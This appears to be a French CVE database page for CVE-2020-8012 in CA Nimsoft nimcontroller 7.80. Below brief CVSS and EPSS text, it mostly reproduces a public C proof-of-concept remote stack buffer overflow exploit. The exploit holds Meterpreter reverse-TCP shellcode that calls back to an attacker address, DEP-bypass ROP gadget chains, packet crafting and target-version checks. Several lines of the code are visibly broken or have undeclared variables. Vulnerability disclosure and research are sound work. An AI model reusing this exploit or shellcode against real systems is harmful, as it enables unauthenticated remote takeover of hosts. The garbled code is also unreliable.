Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-120 |
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V3.1 |
9.8 |
CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 48156
Date de publication : 2020-03-01 23h00 +00:00
Auteur : wetw0rk
EDB Vérifié : No
# Exploit Title: CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow
# Exploit Author: wetw0rk
# Exploit Version: Public POC
# Vendor Homepage: https://docops.ca.com/ca-unified-infrastructure-management/9-0-2/en
# Software Version : 7.80
# Tested on: Windows 10 Pro (x64), Windows Server 2012 R2 Standard (x64)
# CVE: CVE-2020-8012
/**************************************************************************************************************************
* *
* Description: *
* *
* Unauthenticated Nimbus nimcontroller RCE, tested against build 7.80.3132 although multiple versions are affected. *
* The exploit won't crash the service. *
* *
* You may have to run the exploit code multiple times on Windows Server 2012. If you exploit Windows Server 2019 it *
* should work as well just didn't get a chance to test it (reversing other things), I put faith in my ROP chain being *
* universal (worked first try on 2012). *
* *
* Note: *
* *
* This is what it looks like, a fully remote stack based userland x64 exploit (NOT WOW64) and YES this did bypass *
* the stack cookie. WE OUT HERE!!! *
* *
* Compile: *
* *
* gcc poc_release.c -o singAboutMeImDyingOfThirst *
* *
* Shoutout: *
* *
* Xx25, SneakyNachos, liquidsky, Itzik, r4g1n-cajun, FR13NDZ, Geluchat, ihack4falafel, cheshire_jack, the NSA *
* for dropping Ghidra, and my Mentor *
* *
* ----------------------------------------------- ReSpoNsIb1E Di$C10sUrE ----------------------------------------------- *
* 11/07/19 - Vendor contacted (POC code and POC video sent) *
* 11/15/19 - Vendor contacted for update, engineering team unable to reproduce bug *
* 11/20/19 - Vendor cannot reproduce bug, call for a demo scheduled *
* 11/22/19 - Vendor rescheduled to Dec 3rd, claims (<ROAST REDACTED>...) *
* 12/03/19 - Vendor confirms exploitability and vulnerability presence *
* 12/13/19 - Vendor finalizing hotfix *
* 12/19/19 - Vendor hotfix tested against POC code *
* 01/07/20 - Vendor contacted for update on patch and case status, followed up on 01/14/20 *
* 01/21/20 - Vendor replies (awaiting more info) *
* 01/27/20 - Vendor requests exploit code to release in late February to allow customers time to patch *
* 02/XX/20 - PoC sample dropped *
**************************************************************************************************************************/
#include <stdio.h>
#include <stdint.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <getopt.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
/* msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.159.157 LPORT=42 -f c */
unsigned char shellcode[] = \
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1"
"\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
"\x49\xbc\x02\x00\x00\x2a\xc0\xa8\x9f\x9d\x41\x54\x49\x89\xe4"
"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
const char *exploited[] = \
{
"10.0.18362",
"6.3.9600",
};
const char *versions[]= \
{
"7.80 [Build 7.80.3132, Jun 1 2015]",
};
/********************************************************************************************************************
* *
* NimsoftProbe: *
* *
* This is the structure used for the packet generator, it will be used specifically as the return type. Within *
* the structure there are 2 members, first the pointer to the packet and secondly the packet length. *
* *
* NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer): *
* *
* This function will generate a nimbus probe, taken from nimpack (tool I developed while reverse engineering) a *
* few modifications where made to handle the exploit buffer (mainly since it contains NULLS). *
* *
********************************************************************************************************************/
#define PHLEN 300 /* header */
#define PBLEN 2000 /* body */
#define PALEN 10000 /* argv */
#define FPLEN 20000 /* final probe */
#define CLIENT "127.0.0.1/1337"
#define INTSIZ(x) snprintf(NULL, 0, "%i", x)
unsigned char packet_header[] = \
"\x6e\x69\x6d\x62\x75\x73\x2f\x31\x2e\x30\x20%d\x20%d\x0d\x0a";
unsigned char packet_body[] = \
/* nimbus header */
"\x6d\x74\x79\x70\x65\x0F" /* mtype */
"\x37\x0F\x34\x0F\x31\x30\x30\x0F" /* 7.4.100 */
"\x63\x6d\x64\x0F" /* cmd */
"\x37\x0F%d\x0F" /* 7.x */
"%s\x0F" /* probe */
"\x73\x65\x71\x0F" /* seq */
"\x31\x0F\x32\x0F\x30\x0F" /* 1.2.0 */
"\x74\x73\x0F" /* ts */
"\x31\x0F%d\x0F" /* 1.X */
"%d\x0F" /* UNIX EPOCH */
"\x66\x72\x6d\x0F" /* frm */
"\x37\x0F%d\x0F" /* 7.15 */
"%s\x0F" /* client addr */
"\x74\x6f\x75\x74\x0F" /* tout */
"\x31\x0F\x34\x0F\x31\x38\x30\x0F" /* 1.4.180 */
"\x61\x64\x64\x72\x0F" /* addr */
"\x37\x0F\x30\x0F"; /* 7.0 */
typedef struct {
char *packet;
int length;
} NimsoftProbe;
NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer)
{
int index = 0;
int fmt_args;
int lbody = 0;
int largs = 0;
char *tptr;
char pheader[PHLEN];
char pbody[PBLEN];
char pargs[PALEN];
char pbuffer[FPLEN];
char temp_buffer[80];
char *probe = lparams[0];
int epoch_time = (int)time(NULL);
NimsoftProbe *probePtr = (NimsoftProbe*)malloc(sizeof(NimsoftProbe));
fmt_args = snprintf(NULL, 0, "%d%s%d%d%d%s",
(strlen(probe)+1),
probe,
(INTSIZ(epoch_time)+1),
epoch_time,
(strlen(CLIENT)+1),
CLIENT
);
if ((fmt_args + sizeof(packet_body)) > PBLEN) {
printf("Failed to generate packet body\n");
exit(-1);
}
lbody = snprintf(pbody, PBLEN, packet_body,
(strlen(probe)+1),
probe,
(INTSIZ(epoch_time)+1),
epoch_time,
(strlen(CLIENT)+1),
CLIENT
);
for (i = 1; i < nparams; i++)
{
memset(temp_buffer, '\0', 80);
for (j = 0; j < strlen(lparams[i]); j++)
{
if ((c = lparams[i][j]) == '=')
{
memcpy(temp_buffer, lparams[i], j);
index = ++j;
break;
}
}
tptr = lparams[i];
if ((c = 1, c += strlen(temp_buffer)) < PALEN) {
largs += snprintf(pargs+largs, c, "%s", temp_buffer);
largs++;
} else {
printf("Failed to generate packet arguments\n");
exit(-1);
}
if (index > 0 && exploit_buffer == 0)
{
tptr = tptr+index;
if ((largs + strlen(tptr) + 2) < PALEN)
{
largs += snprintf(pargs+largs, 2, "%s", "1");
largs++;
largs += snprintf(pargs+largs, strlen(tptr)+1, "%d", strlen(tptr)+1);
largs++;
} else {
printf("Failed to generate packet arguments\n");
exit(-1);
}
c = 1, c += strlen(tptr);
if ((largs + c) < PALEN)
{
largs += snprintf(pargs+largs, c, "%s", tptr);
largs++;
} else {
printf("Failed to generate packet arguments\n");
exit(-1);
}
}
if (index > 0 && exploit_buffer > 0)
{
tptr = tptr+index;
if ((largs + exploit_buffer + 2) < PALEN)
{
largs += snprintf(pargs+largs, 2, "%s", "1");
largs++;
largs += snprintf(pargs+largs, 5, %d", exploit_buffer+1);
largs++;
} else {
printf("Failed to generate packet arguments\n");
exit(-1);
}
c = 1, c += exploit_buffer;
if ((largs + c) < PALEN)
{
memcpy(pargs+largs, tptr, c);
largs += exploit_buffer;
largs++;
} else {
printf("Failed to generate packet arguments\n");
exit(-1);
}
}
}
index = snprintf(pbuffer, FPLEN, packet_header, lbody, largs);
index += lbody;
if (index < FPLEN) {
strncat(pbuffer, pbody, lbody);
} else {
printf("Failed to concatenate packet body\n");
exit(-1);
}
for (i = 0; i < index; i++)
if (pbuffer[i] == '\x0f')
pbuffer[i] = '\x00';
if ((index + largs) < FPLEN) {
for (i = 0; i < largs; i++)
pbuffer[index++] = pargs[i];
}
else {
printf "Failed to concatenate packet arguments\n");
exit(-1);
}
probePtr->packet = pbuffer;
probePtr->length = index;
return probePtr;
}
/*********************************************************************************************************************
* *
* int parse_directory(char *response, int length): *
* *
* This function will parse the directory contents, specifically looking for the entry keyword; if found, we can *
* proceed with exploitation. *
* *
* int check_vulnerability(char *rhost, int rport): *
* *
* This function will send a Nimbus probe to the target controller, specifically the directory_list probe. Once *
* sent the returned packet will be parsed by parse_directory. *
* *
*********************************************************************************************************************/
#define PE "(\033[1m\033[31m-\033[0m)"
#define PI "(\033[1m\033[94m*\033[0m)"
#define PG "(\033[1m\033[92m+\033[0m)"
int parse_directory(char *response, int length)
{
int i;
int backup;
int check = 0;
int index = 0;
char buf[80];
struct tm ts;
time_t capture;
if (strncmp(response, "nimbus/1.0", 10) != 0)
return -1;
while (index < length)
{
if (strcmp("entry", (response+index)) == 0)
printf("%s Persistence is an art\n\n", PG);
if (strcmp("name", (response+index)) == 0) {
backup = index;
check = 1;
/* last modified */
for (int i = 0; i < 15; i++)
index += strlen(response+index) + 1;
capture = atoi(response+index);
ts = *localtime(&capture);
strftime(buf, sizeof(buf), "%m/%d/%Y %I:%M %p", &ts);
printf("%12s ", buf);
index = backup;
/* type */
for (int i = 0; i < 7; i++)
index += strlen(response+index) + 1;
if (strcmp("2", (response+index)) == 0)
printf("%7s", " ");
else
printf("%-7s", "<DIR>");
index = backup;
/* name */
for (int i = 0; i < 3; i++)
index += strlen(response+index) + 1;
printf("%s\n", response+index);
}
index += strlen(response+index) + 1;
}
return (check != 1) ? -1 : 0;
}
int check_vulnerability(char *rhost, int rport)
{
int c;
int sock;
int count;
NimsoftProbe *probe;
char response[BUFSIZ];
struct sockaddr_in srv;
char *get_directory_listing[] = { "directory_list", "directory=C:\\", "detail=1" };
probe = packet_gen(get_directory_listing, 3, 0);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
return -1;
srv.sin_addr.s_addr = inet_addr(rhost);
srv.sin_port = htons(rport);
srv.sin_family = AF_INET;
if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0)
return -1;
printf("%s Verifying vulnerable probe is reachable\n", PI);
send(sock, probe->packet, probe->length, 0);
count = read(sock, response, BUFSIZ);
if (parse_directory(response, count) == 0)
printf("\n%s Target ready for exploitation\n", PG);
else
return -1;
free(probe);
close(sock);
return 0;
}
/********************************************************************************************************************
* *
* char *nimdex(char *haystack, char *needle, int size): *
* *
* This function works similar to strstr, however it was specifically made to index "keys" to their respective *
* "values" within a Nimbus packet. It has only been tested against the get_info packet. *
* *
* int parse_response(char *response, int length): *
* *
* This function leverages nimdex to perform 2 checks. The first check will verify the target operating system *
* has been exploited, the second check will verify the Nimbus controller version is exploitable (or rather has *
* a ROP chain ready). In order for exploitation to succeed only the second check needs to pass, I have faith in *
* my ROP chain being universal. *
* *
* int check_version(char *rhost, int rport): *
* *
* This function will send a Nimbus probe to the target controller, specifically the get_info probe. Once sent *
* the returned packet will be parsed by parse_response. *
* *
********************************************************************************************************************/
char *nimdex(char *haystack, char *needle, int size)
{
int found = 0;
int index = 0;
if (strncmp(haystack, "nimbus/1.0", 10) != 0)
return NULL;
while (index < size)
{
if (strcmp(needle, (haystack+index)) == 0)
found = 2;
else if (found >= 2)
found++;
if (found == 5)
return &haystack[index];
index += strlen(haystack+index) + 1;
}
return NULL;
}
int parse_response(char *response, int length)
{
int i;
int c;
char *ptr;
int check = 0;
int nv = sizeof(versions)/sizeof(versions[0]);
int ne = sizeof(exploited)/sizeof(exploited[0]);
if ((ptr = nimdex(response, "os_minor", length)) == NULL)
return -1;
printf("%s Probe successful, detected: %s\n", PI, ptr);
if ((ptr = nimdex(response, "os_version", length)) == NULL)
return -1;
for (i = 0; i < ne; i++)
if ((strcmp(exploited[i], ptr)) == 0)
check = 1;
if (check != 1)
{
printf("%s Exploit has not been tested against OS version\n", PE);
printf("%s Continute exploitation (Y/N): ", PE);
c = getchar();
if (tolower(c) != 'y')
exit(-1);
printf("%s If exploitation successful, update code!!!\n", PI);
if ((ptr = nimdex(response, "os_version", length)) == NULL)
return -1;
printf("%s Target OS ID: %s\n", PI, ptr);
}
else
printf("%s Target OS appears to be exploitable\n", PI);
check = 0;
if ((ptr = nimdex(response, "version", length)) == NULL)
return -1;
for (i = 0; i < nv; i++)
if ((strcmp(versions[i], ptr)) == 0)
check = 1;
if (check != 1) {
printf("%s Exploit has not been tested against target build\n", PE);
exit(-1);
} else
printf("%s Nimbus build appears to be exploitable\n", PI);
return 0;
}
int check_version(char *rhost, int rport)
{
int c;
int sock;
int count;
NimsoftProbe *probe;
char response[BUFSIZ];
struct sockaddr_in srv;
char *get_operating_sys[] = { "get_info", "interfaces=0" };
probe = packet_gen(get_operating_sys, 2, 0);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
return -1;
srv.sin_addr.s_addr = inet_addr(rhost);
srv.sin_port = htons(rport);
srv.sin_family = AF_INET;
if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0)
return -1;
printf("%s Sending get_info probe to %s:%d\n", PI, rhost, rport);
send(sock, probe->packet, probe->length, 0);
count = read(sock, response, BUFSIZ);
if ((parse_response(response, count) != 0)) {
printf("%s Probe failed, unable to parse packet\n", PE);
exit(-1);
}
free(probe);
close(sock);
return 0;
}
/*****************************************************************************************************************
* This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes otherwise our call will fail. *
* I had VP work 50% of the time when the stack was unaligned. *
*****************************************************************************************************************/
int64_t rsp_alignment_rop_gadgets[] = {
[0 ... 19] = 0x0000000140018c42, // ret (20 ROP NOPS)
0x0000000140002ef6, // pop rax ; ret
0x00000001401a3000, // *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
0x00000001400af237, // pop rdi ; ret
0x0000000000000007, // alignment for rsp
0x0000000140025dab, // add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret
};
/*****************************************************************************************************************
* This chain will craft function calls to GetModuleHandleA, GetProcAddressStub, and finally VirtualProtectStub. *
* Once completed, we have bypassed DEP and can get code execution. Since VirtualProtectStub is auto generated, *
* we needn't worry about other Windows OS's. *
*****************************************************************************************************************/
int64_t dep_bypass_rop_gadgets[] = {
// RAX -> HMODULE GetModuleHandleA(
// ( RCX == *module ) LPCSTR lpModuleName,
// );
[0 ... 14] = 0x0000000140018c42, // ret (15 ROP NOPS)
0x0000000140002ef6, // pop rax ; ret
0x0000000000000000, // (zero out rax)
0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
[24 ... 33] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x0000000140131643, // pop rcx ; ret
0x00000000000009dd, // offset to "kernel32.dll"
0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret
[37 ... 51] = 0x0000000140018c42, // ret (15 ROP NOPS)
0x00000001400b741b, // xchg eax, ecx ; ret
0x0000000140002ef6, // pop rax ; ret
0x000000014015e310, // GetModuleHandleA (0x00000000014015E330-20)
0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
[56 ... 72] = 0x0000000140018c42, // ret (17 ROP NOPS)
// RAX -> FARPROC GetProcAddressStub(
// ( RCX == &addr ) HMODULE hModule,
// ( RDX == *module ) lpProcName
// );
0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule)
0x0000000140002ef6, // pop rax ; ret
0x0000000000000000, // (zero out rax)
0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
[83 ... 92] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x0000000140131643, // pop rcx ; ret
0x0000000000000812, // offset to "virtualprotectstub"
0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret
[96 ... 110] = 0x0000000140018c42, // ret (15 ROP NOPS)
0x0000000140135e39, // mov edx,eax ; mov rbx,qword [rsp+0x30] ; mov rbp,qword [rsp+0x38] ; mov rsi,qword [rsp+0x40] ; mov rdi,qword [rsp+0x48] ; mov eax,edx ; add rsp,0x20 ; pop r12; ret
[112 ... 121] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x00000001400d1ab8, // mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret
[123 ... 132] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x0000000140111ca1, // xchg rax, r13 ; or al, 0x00 ; ret
0x00000001400cf3d5, // mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
[138 ... 143] = 0x0000000140018c42, // ret
0x0000000140002ef6, // pop rax ; ret
0x000000014015e318, // GetProcAddressStub (0x00000000014015e338-20)
0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
[147 ... 163] = 0x0000000140018c42, // ret (17 ROP NOPS)
// RAX -> BOOL VirtualProtectStub(
// ( RCX == *shellcode ) LPVOID lpAddress,
// ( RDX == len(shellcode) ) SIZE_T dwSize,
// ( R8 == 0x0000000000000040 ) DWORD flNewProtect,
// ( R9 == *writeable location ) PDWORD lpflOldProtect,
// );
0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub)
0x000000014013d651, // pop r12 ; ret
0x00000001401fb000, // *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
0x00000001400eba74, // or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret
[168 ... 177] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x0000000140002ef6, // pop rax ; ret
0x0000000000000000, //
0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
[187 ... 196] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x0000000140131643, // pop rcx ; ret
0x000000000000059f, // (offset to *shellcode)
0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret
[200 ... 214] = 0x0000000140018c42, // ret (15 ROP NOPS)
0x00000001400b741b, // xchg eax, ecx ; ret
0x00000001400496a2, // pop rdx ; ret
0x00000000000005dc, // dwSize
0x00000001400bc39c, // pop r8 ; ret
0x0000000000000040, // flNewProtect
0x00000001400c5f8a, // mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub)
[221 ... 237] = 0x0000000140018c42, // ret (17 ROP NOPS)
0x00000001400a0b55, // call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h] ; mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret
[239 ... 258] = 0x0000000140018c42, // ret (20 ROP NOPS)
0x0000000140002ef6, // pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE)
0x0000000000000000, // (zero out rax)
0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
0x0000000000000000, //
[268 ... 277] = 0x0000000140018c42, // ret (10 ROP NOPS)
0x0000000140131643, // pop rcx ; ret
0x0000000000000317, // (offset to our shellcode)
0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret
[281 ... 295] = 0x0000000140018c42, // ret (15 ROP NOPS)
0x00000001400a9747, // jmp rax
[297 ... 316] = 0x0000000140018c42, // ret (do not remove)
};
/********************************************************************************************************************
* *
* int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[]): *
* *
* This function will generate a rop chain and store it in the buffer passed as the first argument. The return *
* value will contain the final ROP chain size. *
* *
********************************************************************************************************************/
#define RSP_ROP (sizeof(rsp_alignment_rop_gadgets)/sizeof(int64_t))
#define DEP_ROP (sizeof(dep_bypass_rop_gadgets) / sizeof(int64_t))
int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[])
{
int i, j, k;
int chain_size = 0;
for (i = 0; i < gadgets; i++)
for (j = 0, k = 0; j < sizeof(rop_gadgets[i]); j++)
{
*buffer++ = ((rop_gadgets[i]>>k)&0xff);
chain_size++;
k += 8;
}
return chain_size;
}
#define MAX_EXPLOIT_BUFFER 9000
unsigned char *generate_exploit_buffer(unsigned char *buffer)
{
int r1, r2, c;
char rop_chain[20000];
unsigned char *heapflip = "\x3d\xfd\x06\x40\x01\x00\x00\x00";
memset(buffer , 0x41, 1000); // Offset
memset(buffer+1000, 0x0F, 33);
memcpy(buffer+1033, heapflip, 8); // HeapFlip - pop rsp ; or al, 0x00 ; add rsp, 0x0000000000000448 ; ret
memset(buffer+1041, 0x41, 7); // Adjustment for the initial chain
/* generate the first rop chain to perform stack alignment */
r1 = generate_rop_chain(rop_chain, RSP_ROP, rsp_alignment_rop_gadgets);
memcpy(buffer+1048, rop_chain, r1);
c = r1 + 1048;
/* adjust for second stage */
memset(buffer+c, 0x57, 631);
c += 631;
/* generate the second rop chain to perform DEP bypass */
r2 = generate_rop_chain(rop_chain, DEP_ROP, dep_bypass_rop_gadgets);
memcpy(buffer+c, rop_chain, r2);
c += r2;
/* ROP CHAIN MUST BE 3500 BYTES OR EXPLOITATION WILL FAIL */
memset(buffer+c, 0x45, (3500 - (r1 + r2 + 631)));
c += (3500 - (r1 + r2 + 631));
memcpy(buffer+c, "kernel32.dll\x00", 13);
c += 13;
memcpy(buffer+c, "VirtualProtect\x00", 15);
c += 15;
/* NOPS */
memset(buffer+c, 0x90, 500);
c += 500;
/* shellcode */
memcpy(buffer+c, shellcode, (sizeof(shellcode)-1));
c += (sizeof(shellcode)-1);
/* filler */
memset(buffer+c, 0x10, (8000 - c));
return buffer;
}
#define MAX_ARGUMENTS 5
void help()
{
printf("usage: ./singAboutMeImDyingOfThirst [-h] [-t TARGET] [-p PORT] [ARG=VAL]\n\n");
printf("Sing About Me Im Dying Of Thirst - A nimcontroller's worst nightmare\n\n");
printf("optional arguments:\n");
printf(" -h, --help show this help message and exit\n");
printf(" -t TARGET, --target TARGET target host to probe\n");
printf(" -p PORT, --port PORT nimcontroller port\n\n");
printf("examples:\n");
